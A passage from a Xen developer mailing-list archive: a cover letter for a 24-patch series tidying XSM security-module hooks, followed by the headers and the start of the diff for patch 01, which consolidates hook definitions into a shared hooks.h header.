 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1785244249-C0CDFB50-6B0B4AD2/0/0
X-purgate-type: clean
X-purgate-size: 1547

Working on those XSAs made pretty apparent that there's a lot of redundancy,
requiring changes in too many separate places if e.g. adding / altering /
removing a hook. Obviously while dealing with that, some other, smaller
tidying opportunities turned up as well.

01: XSM: reduce redundancy in hook machinery
02: XSM: make .grant_*() hooks dependent upon GRANT_TABLE=y
03: XSM: make .{,un}map_domain_pirq() hooks dependent upon HAS_PIRQ=y
04: XSM: make PCI hooks dependent upon HAS_PCI=y
05: XSM: make .iomem_mapping_vcpi() hook dependent upon HAS_VPCI=y
06: XSM: make .kexec() hook dependent upon KEXEC=y
07: XSM: make .hypfs() hook dependent upon HYPFS=y
08: XSM: make .hvm_altp2mhvm_op() hook dependent upon ALTP2M=y
09: XSM: make .hvm_param*() hooks dependent upon HVM=y
10: XSM: make .dm_op() hook dependent upon IORE_SERVER=y
11: XSM: make certain x86-specific hooks dependent upon PV=y
12: x86/mm: get_page_from_l1e() is PV-or-shadow-only
13: x86: restrict PHYSDEVOP_* when PV=n
14: XSM/dummy: fold cf_check into XSM_INLINE
15: XSM/dummy: drop redundant return statements
16: XSM: suppress hypercall when XSM=n
17: XSM: make Argo hooks well-formed ones
18: XSM: make XSM hooks well-formed ones
19: XSM: convert "allow" (Flask: "access") parameters to bool
20: XSM: fold xsm_{,un}map_domain_pirq() hooks
21: x86: type-correct last parameter of map_domain_pirq()
22: XSM: pass just SBDF to xsm_{,un}map_domain_irq()
23: XSM: fold xsm_{,un}map_domain_irq() hooks
24: XSM: fold xsm_{,un}bind_pt_irq() hooks

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:13:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:13:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374014.1620964 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohcm-0002Bp-6m; Tue, 28 Jul 2026 13:13:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374014.1620964; Tue, 28 Jul 2026 13:13:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohcm-0002Bi-3r; Tue, 28 Jul 2026 13:13:36 +0000
Received: by outflank-mailman (input) for mailman id 1374014;
 Tue, 28 Jul 2026 13:13:34 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohck-0002BE-Jx
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:13:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohcj-00Ep6Q-PT
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:13:33 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68aafc-5cb7-0a2a0a5109dd-0a2a4505dc4e-6
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:13:33 +0200
Received: from [209.85.128.50] (helo=mail-wm1-f50.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68aafd-4cb1-0a2a45050019-d1558032ad93-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:13:33 +0200
Received: by mail-wm1-f50.google.com with SMTP id
 5b1f17b1804b1-49558ce01afso28925495e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:13:33 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c45cb67esm81802585e9.8.2026.07.28.06.13.32
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:13:32 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244413; x=1785849213; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=SIGERphO0i/Nuw5bD0UnfYw1h2gUHzMmDOC+u1oYUA0=;
        b=B8+JMz+ffa+F0ytF3NZXOCPOKJIw5rvINwxTuH897ZoXEwSkFrgr2ZKUZ/de1s5J/y
         YnPik7CSStKurEGHAx/49XMCykMsbgb6Z0/CMa3PZZDPb32yc8NeHZHNdBKMVEROVIBC
         5/WSGwZiHHmcKDD9Mng4ePmUaTpiFrIJD5C0iDnx5tJaguEnid3FPpsU/4XyfYlVJda4
         e3GVpS0a4MUwZHgfsBrN58WRib9nk5ksFNbtFdP07WR8d4ERoYpAi8FRJCg3vZ1ReSbZ
         DgZJLEkX3GCvLXUd1ANaqulySrUvsL3zKAHAEi7k1Vjzx8OH16P58SP0SpCQHy8T/9wu
         3k+Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244413; x=1785849213;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=SIGERphO0i/Nuw5bD0UnfYw1h2gUHzMmDOC+u1oYUA0=;
        b=kVNDYuIlquFl3K0Z9vfkxrVtzGZZdtIc24C/gos1fPsO70u2+CI5GfQi/48NUQq5h+
         WKpr3BI+woVk9yO0WRTHc8P6c/dBAQ0bZwCtuqiHf87+066shF+armcetyrc7dBjl5XE
         Eza1JBuxgI5Yja1G2HxVGoCJ930XoiKh68bVa4VtMXzilvoOrWcfQRRKbkrVs2VhvAJy
         Ub1ehoZd4PXd0fY1YFwexymax1gM6ZdeUez/k9M7ocoetCfAZnp1xQ7nb8DWI2XXUlvn
         SfuD8+FusqRVNgLh+izHxJ57h/7txgL4bp8ePwAz5nM0+m0vN6sUb5z91gvNkEZI/W6u
         dEdg==
X-Gm-Message-State: AOJu0YzpyBcgPndTXDsqyHXQSQ3Hrswd04KLNbrKmvRPYIzLVSxxgcp5
	7f4FCQDmegVRYr676brAJt4deH/sCmwz/ThIVLfAvf2fE2iJICSQgB9NWiscwaqKqFTghOGm+z+
	GqmhqRQ==
X-Gm-Gg: AR+sD10D47FiyJ97l8IPPmW3fqXVEIZLDSyC/QsSRniRmDlga7Ni9pSuPch92yDke8b
	qvEHorXD2gW5Sw38WQlUJ+fDv7itrABHpI39r/mqRz7i8idOqa4c5mPqfWJB2FSUHR96Z3PzO5L
	0Pg7VTX7ikzLxinNsA2QPAAkz9usfEG++tr3I+vTym+MER2gLGiHgG0leORVVQo/nfxg+RrFaTc
	2KKaOckeU9j0+7q9lKeyLaOtHCL8j0MGSdbjn9y0TXraz1BupFI16n+8qKAKPsKZHkxZz+U2f73
	RnW662zw/+fphKh6QtMyFh2JFq1/6MeOtalq7wlTm1kYS+csH7ZXKZMHebKGJxrfeRVb2uCRjBl
	nY3/v3STT5SaDS85KiDuaLDjM+1kiutAzWDDsMqu6szQu1SSxtc5U0YhdGckPy9JcC9HX+kmX8y
	HySGGmKwbfIeZIgDCRphcG/kGNV3beywVyi3SZyZSOVicRlpBTbc/UzdCwPtTfvwKCueXtvH0sa
	pxz
X-Received: by 2002:a05:600c:8010:b0:495:3f5e:e7a with SMTP id 5b1f17b1804b1-496c6588a7cmr26586475e9.34.1785244412852;
        Tue, 28 Jul 2026 06:13:32 -0700 (PDT)
Message-ID: <7487f138-e5e9-41d6-9291-f5eef42d09a1@suse.com>
Date: Tue, 28 Jul 2026 15:13:31 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 01/24] XSM: reduce redundancy in hook machinery
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1785244413-71AAF2A1-7654CA52/0/0
X-purgate-type: clean
X-purgate-size: 40839

Hook definition (in struct xsm_ops), wrappers, dummy_ops, and flask_ops
need keeping in sync (including any involved #ifdef-ary), i.e. require
consistent adjustments in multiple places when a change is necessary.
Reduce this by introducing a multi-use helper header file. (However,
hooks not taking xsm_default_t as first argument in the wrappers aren't
covered.)

As there's some re-arrangement of field order in struct xsm_ops anyway,
also group together everything depending on SYSCTL=y. Similarly move
.mem_sharing_op() into the MEM_SHARING conditional.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
RFC: In principle dummy.h could also be covered, by further specifying
     both the expected xsm_default_t value and the actual operation as
     further arguments to XSM_HOOK(). I'm worried that this may end up a
     little unwieldy in hooks.h, though.

Hooks not taking xsm_default_t as first argument could of course be
adjusted to take one, at which point they could be covered here as well.
Question is why there is this difference in the first place.

.{alloc,free}_security_evtchns() and their dummy wrappers use struct
evtchn[] notation, while xsm_{alloc,free}_security_evtchns() use struct
evtchn *. Is there a reason for this inconsistency?

--- /dev/null
+++ b/xen/include/xsm/hooks.h
@@ -0,0 +1,137 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+/* This file is intended to be included multiple times. */
+
+#ifndef XSM_HOOK
+
+#include <xen/macros.h>
+
+#define XSM_HOOK__(rtype, name, nargs, types...) \
+    XSM_HOOK ## nargs(rtype, name, ## types)
+
+#define XSM_HOOK_(rtype, name, nargs, types...) \
+    XSM_HOOK__(rtype, name, nargs, ## types)
+
+#define XSM_HOOK(rtype, name, types...) \
+    XSM_HOOK_(rtype, name, count_args(types), ## types)
+
+#endif /* XSM_HOOK */
+
+XSM_HOOK(int, domain_create, struct domain *, uint32_t)
+XSM_HOOK(int, getdomaininfo, struct domain *)
+XSM_HOOK(int, get_domain_state, struct domain *)
+
+#ifdef CONFIG_SYSCTL
+XSM_HOOK(int, sysctl, const struct xen_sysctl *)
+#endif
+
+XSM_HOOK(int, set_target, struct domain *, struct domain *)
+XSM_HOOK(int, domctl, struct domain *, struct xen_domctl *)
+
+XSM_HOOK(int, evtchn_unbound, struct domain *, struct evtchn *, domid_t)
+XSM_HOOK(int, evtchn_interdomain, struct domain *, struct evtchn *,
+                                  struct domain *, struct evtchn *)
+XSM_HOOK(int, evtchn_send, struct domain *, struct evtchn *)
+XSM_HOOK(int, evtchn_status, struct domain *, struct evtchn *)
+XSM_HOOK(int, evtchn_reset, struct domain *, struct domain *)
+
+XSM_HOOK(int, grant_mapref, struct domain *, struct domain *, uint32_t)
+XSM_HOOK(int, grant_unmapref, struct domain *, struct domain *)
+XSM_HOOK(int, grant_setup, struct domain *, struct domain *)
+XSM_HOOK(int, grant_transfer, struct domain *, struct domain *)
+XSM_HOOK(int, grant_copy, struct domain *, struct domain *)
+XSM_HOOK(int, grant_query_size, struct domain *, struct domain *)
+
+XSM_HOOK(int, init_hardware_domain, struct domain *)
+
+XSM_HOOK(int, get_pod_target, struct domain *)
+XSM_HOOK(int, set_pod_target, struct domain *)
+
+XSM_HOOK(int, memory_exchange, struct domain *)
+XSM_HOOK(int, memory_adjust_reservation, struct domain *, struct domain *)
+XSM_HOOK(int, memory_stat_reservation, struct domain *, struct domain *)
+XSM_HOOK(int, memory_pin_page, struct domain *, struct domain *,
+                               struct page_info *)
+XSM_HOOK(int, add_to_physmap, struct domain *, struct domain *)
+XSM_HOOK(int, remove_from_physmap, struct domain *, struct domain *)
+XSM_HOOK(int, map_gmfn_foreign, struct domain *, struct domain *)
+XSM_HOOK(int, claim_pages, struct domain *)
+
+XSM_HOOK(int, console_io, struct domain *, int)
+
+XSM_HOOK(int, kexec)
+
+XSM_HOOK(int, schedop_shutdown, struct domain *, struct domain *)
+
+XSM_HOOK(int, map_domain_pirq, struct domain *)
+XSM_HOOK(int, map_domain_irq, struct domain *, int, const void *)
+XSM_HOOK(int, unmap_domain_pirq, struct domain *)
+XSM_HOOK(int, unmap_domain_irq, struct domain *, int, const void *)
+XSM_HOOK(int, bind_pt_irq, struct domain *, struct xen_domctl_bind_pt_irq *)
+XSM_HOOK(int, unbind_pt_irq, struct domain *, struct xen_domctl_bind_pt_irq *)
+
+XSM_HOOK(int, irq_permission, struct domain *, int, uint8_t)
+XSM_HOOK(int, iomem_permission, struct domain *, uint64_t, uint64_t, uint8_t)
+XSM_HOOK(int, pci_config_permission, struct domain *, uint32_t, uint16_t,
+                                     uint16_t, uint8_t)
+
+XSM_HOOK(int, iomem_mapping, struct domain *, uint64_t, uint64_t, uint8_t)
+XSM_HOOK(int, iomem_mapping_vpci, struct domain *, uint64_t, uint64_t, uint8_t)
+
+#if defined(CONFIG_HAS_PASSTHROUGH) && defined(CONFIG_HAS_PCI)
+XSM_HOOK(int, get_device_group, uint32_t)
+#endif
+
+XSM_HOOK(int, resource_plug_pci, uint32_t)
+XSM_HOOK(int, resource_unplug_pci, uint32_t)
+XSM_HOOK(int, resource_setup_pci, uint32_t)
+XSM_HOOK(int, resource_setup_gsi, int)
+XSM_HOOK(int, resource_setup_misc)
+
+XSM_HOOK(int, hypfs_op)
+
+XSM_HOOK(int, hvm_param, struct domain *, unsigned long)
+XSM_HOOK(int, hvm_param_altp2mhvm, struct domain *)
+XSM_HOOK(int, hvm_altp2mhvm_op, struct domain *, uint64_t, uint32_t)
+XSM_HOOK(int, get_vnumainfo, struct domain *)
+
+#ifdef CONFIG_VM_EVENT
+XSM_HOOK(int, mem_access, struct domain *)
+#endif
+
+#ifdef CONFIG_MEM_PAGING
+XSM_HOOK(int, mem_paging, struct domain *)
+#endif
+
+#ifdef CONFIG_MEM_SHARING
+XSM_HOOK(int, mem_sharing, struct domain *)
+XSM_HOOK(int, mem_sharing_op, struct domain *, struct domain *, int)
+#endif
+
+XSM_HOOK(int, platform_op, uint32_t)
+
+#ifdef CONFIG_X86
+XSM_HOOK(int, do_mca)
+XSM_HOOK(int, apic, struct domain *, int)
+XSM_HOOK(int, machine_memory_map)
+XSM_HOOK(int, domain_memory_map, struct domain *)
+XSM_HOOK(int, mmu_update, struct domain *, struct domain *, struct domain *,
+                          uint32_t)
+XSM_HOOK(int, mmuext_op, struct domain *, struct domain *)
+XSM_HOOK(int, update_va_mapping, struct domain *, struct domain *, l1_pgentry_t)
+XSM_HOOK(int, priv_mapping, struct domain *, struct domain *)
+XSM_HOOK(int, ioport_permission, struct domain *, uint32_t, uint32_t, uint8_t)
+XSM_HOOK(int, ioport_mapping, struct domain *, uint32_t, uint32_t, uint8_t)
+XSM_HOOK(int, pmu_op, struct domain *, unsigned int)
+#endif /* CONFIG_X86 */
+
+XSM_HOOK(int, dm_op, struct domain *)
+XSM_HOOK(int, xen_version, uint32_t)
+XSM_HOOK(int, domain_resource_map, struct domain *)
+
+#undef XSM_HOOK0
+#undef XSM_HOOK1
+#undef XSM_HOOK2
+#undef XSM_HOOK3
+#undef XSM_HOOK4
+#undef XSM_HOOK5
--- a/xen/include/xsm/xsm.h
+++ b/xen/include/xsm/xsm.h
@@ -41,6 +41,13 @@ enum xsm_default {
 };
 typedef enum xsm_default xsm_default_t;
 
+#ifdef CONFIG_X86
+#define XSM_MMU_UPDATE_READ      1
+#define XSM_MMU_UPDATE_WRITE     2
+#define XSM_MMU_NORMAL_UPDATE    4
+#define XSM_MMU_MACHPHYS_UPDATE  8
+#endif /* CONFIG_X86 */
+
 /*
  * !!! WARNING !!!
  *
@@ -54,131 +61,36 @@ struct xsm_ops {
     int (*set_system_active)(void);
     void (*security_domaininfo)(struct domain *d,
                                 struct xen_domctl_getdomaininfo *info);
-    int (*domain_create)(struct domain *d, uint32_t ssidref);
-    int (*getdomaininfo)(struct domain *d);
-    int (*set_target)(struct domain *d, struct domain *e);
-    int (*domctl)(struct domain *d, struct xen_domctl *op);
-#ifdef CONFIG_SYSCTL
-    int (*sysctl)(const struct xen_sysctl *op);
-#endif
 
-    int (*evtchn_unbound)(struct domain *d, struct evtchn *chn, domid_t id2);
-    int (*evtchn_interdomain)(struct domain *d1, struct evtchn *chn1,
-                              struct domain *d2, struct evtchn *chn2);
+#define XSM_HOOK0(rtype, name) rtype (*name)(void);
+#define XSM_HOOK1(rtype, name, type1) \
+    rtype (*name)(type1 arg1);
+#define XSM_HOOK2(rtype, name, type1, type2) \
+    rtype (*name)(type1 arg1, type2 arg2);
+#define XSM_HOOK3(rtype, name, type1, type2, type3) \
+    rtype (*name)(type1 arg1, type2 arg2, type3 arg3);
+#define XSM_HOOK4(rtype, name, type1, type2, type3, type4) \
+    rtype (*name)(type1 arg1, type2 arg2, type3 arg3, type4 arg4);
+#define XSM_HOOK5(rtype, name, type1, type2, type3, type4, type5) \
+    rtype (*name)(type1 arg1, type2 arg2, type3 arg3, type4 arg4, type5 arg5);
+
+#include "hooks.h"
+
     void (*evtchn_close_post)(struct evtchn *chn);
-    int (*evtchn_send)(struct domain *d, struct evtchn *chn);
-    int (*evtchn_status)(struct domain *d, struct evtchn *chn);
-    int (*evtchn_reset)(struct domain *d1, struct domain *d2);
-
-    int (*grant_mapref)(struct domain *d1, struct domain *d2, uint32_t flags);
-    int (*grant_unmapref)(struct domain *d1, struct domain *d2);
-    int (*grant_setup)(struct domain *d1, struct domain *d2);
-    int (*grant_transfer)(struct domain *d1, struct domain *d2);
-    int (*grant_copy)(struct domain *d1, struct domain *d2);
-    int (*grant_query_size)(struct domain *d1, struct domain *d2);
 
     int (*alloc_security_domain)(struct domain *d);
     void (*free_security_domain)(struct domain *d);
     int (*alloc_security_evtchns)(struct evtchn chn[], unsigned int nr);
     void (*free_security_evtchns)(struct evtchn chn[], unsigned int nr);
     char *(*show_security_evtchn)(struct domain *d, const struct evtchn *chn);
-    int (*init_hardware_domain)(struct domain *d);
-
-    int (*get_pod_target)(struct domain *d);
-    int (*set_pod_target)(struct domain *d);
-    int (*memory_exchange)(struct domain *d);
-    int (*memory_adjust_reservation)(struct domain *d1, struct domain *d2);
-    int (*memory_stat_reservation)(struct domain *d1, struct domain *d2);
-    int (*memory_pin_page)(struct domain *d1, struct domain *d2,
-                           struct page_info *page);
-    int (*add_to_physmap)(struct domain *d1, struct domain *d2);
-    int (*remove_from_physmap)(struct domain *d1, struct domain *d2);
-    int (*map_gmfn_foreign)(struct domain *d, struct domain *t);
-    int (*claim_pages)(struct domain *d);
-
-    int (*console_io)(struct domain *d, int cmd);
-
-    int (*kexec)(void);
-    int (*schedop_shutdown)(struct domain *d1, struct domain *d2);
 
     char *(*show_irq_sid)(int irq);
-    int (*map_domain_pirq)(struct domain *d);
-    int (*map_domain_irq)(struct domain *d, int irq, const void *data);
-    int (*unmap_domain_pirq)(struct domain *d);
-    int (*unmap_domain_irq)(struct domain *d, int irq, const void *data);
-    int (*bind_pt_irq)(struct domain *d, struct xen_domctl_bind_pt_irq *bind);
-    int (*unbind_pt_irq)(struct domain *d, struct xen_domctl_bind_pt_irq *bind);
-    int (*irq_permission)(struct domain *d, int pirq, uint8_t allow);
-    int (*iomem_permission)(struct domain *d, uint64_t s, uint64_t e,
-                            uint8_t allow);
-    int (*iomem_mapping)(struct domain *d, uint64_t s, uint64_t e,
-                         uint8_t allow);
-    int (*iomem_mapping_vpci)(struct domain *d, uint64_t s, uint64_t e,
-                              uint8_t allow);
-    int (*pci_config_permission)(struct domain *d, uint32_t machine_bdf,
-                                 uint16_t start, uint16_t end, uint8_t access);
-
-#if defined(CONFIG_HAS_PASSTHROUGH) && defined(CONFIG_HAS_PCI)
-    int (*get_device_group)(uint32_t machine_bdf);
-#endif
-
-    int (*resource_plug_pci)(uint32_t machine_bdf);
-    int (*resource_unplug_pci)(uint32_t machine_bdf);
-    int (*resource_setup_pci)(uint32_t machine_bdf);
-    int (*resource_setup_gsi)(int gsi);
-    int (*resource_setup_misc)(void);
-
-    int (*hypfs_op)(void);
 
     long (*do_xsm_op)(XEN_GUEST_HANDLE_PARAM(void) op);
 #ifdef CONFIG_COMPAT
     int (*do_compat_op)(XEN_GUEST_HANDLE_PARAM(void) op);
 #endif
 
-    int (*hvm_param)(struct domain *d, unsigned long op);
-    int (*hvm_param_altp2mhvm)(struct domain *d);
-    int (*hvm_altp2mhvm_op)(struct domain *d, uint64_t mode, uint32_t op);
-    int (*get_vnumainfo)(struct domain *d);
-
-#ifdef CONFIG_VM_EVENT
-    int (*mem_access)(struct domain *d);
-#endif
-
-#ifdef CONFIG_MEM_PAGING
-    int (*mem_paging)(struct domain *d);
-#endif
-
-#ifdef CONFIG_MEM_SHARING
-    int (*mem_sharing)(struct domain *d);
-#endif
-
-    int (*platform_op)(uint32_t cmd);
-
-#ifdef CONFIG_X86
-    int (*do_mca)(void);
-    int (*mem_sharing_op)(struct domain *d, struct domain *cd, int op);
-    int (*apic)(struct domain *d, int cmd);
-    int (*machine_memory_map)(void);
-    int (*domain_memory_map)(struct domain *d);
-#define XSM_MMU_UPDATE_READ      1
-#define XSM_MMU_UPDATE_WRITE     2
-#define XSM_MMU_NORMAL_UPDATE    4
-#define XSM_MMU_MACHPHYS_UPDATE  8
-    int (*mmu_update)(struct domain *d, struct domain *t,
-                      struct domain *f, uint32_t flags);
-    int (*mmuext_op)(struct domain *d, struct domain *f);
-    int (*update_va_mapping)(struct domain *d, struct domain *f,
-                             l1_pgentry_t pte);
-    int (*priv_mapping)(struct domain *d, struct domain *t);
-    int (*ioport_permission)(struct domain *d, uint32_t s, uint32_t e,
-                             uint8_t allow);
-    int (*ioport_mapping)(struct domain *d, uint32_t s, uint32_t e,
-                          uint8_t allow);
-    int (*pmu_op)(struct domain *d, unsigned int op);
-#endif
-    int (*dm_op)(struct domain *d);
-    int (*xen_version)(uint32_t cmd);
-    int (*domain_resource_map)(struct domain *d);
 #ifdef CONFIG_ARGO
     int (*argo_enable)(const struct domain *d);
     int (*argo_register_single_source)(const struct domain *d,
@@ -186,7 +98,6 @@ struct xsm_ops {
     int (*argo_register_any_source)(const struct domain *d);
     int (*argo_send)(const struct domain *d, const struct domain *t);
 #endif
-    int (*get_domain_state)(struct domain *d);
 };
 
 #ifdef CONFIG_XSM
@@ -206,113 +117,57 @@ static inline void xsm_security_domainin
     alternative_vcall(xsm_ops.security_domaininfo, d, info);
 }
 
-static inline int xsm_domain_create(
-    xsm_default_t def, struct domain *d, uint32_t ssidref)
-{
-    return alternative_call(xsm_ops.domain_create, d, ssidref);
-}
+#define XSM_ALT_void alternative_vcall
+#define XSM_ALT_int  return alternative_call
 
-static inline int xsm_getdomaininfo(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.getdomaininfo, d);
+#define XSM_HOOK0(rtype, name) \
+static inline rtype xsm_ ## name(xsm_default_t def) \
+{ \
+    XSM_ALT_ ## rtype(xsm_ops.name); \
 }
 
-static inline int xsm_get_domain_state(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.get_domain_state, d);
+#define XSM_HOOK1(rtype, name, type1) \
+static inline rtype xsm_ ## name(xsm_default_t def, type1 arg1) \
+{ \
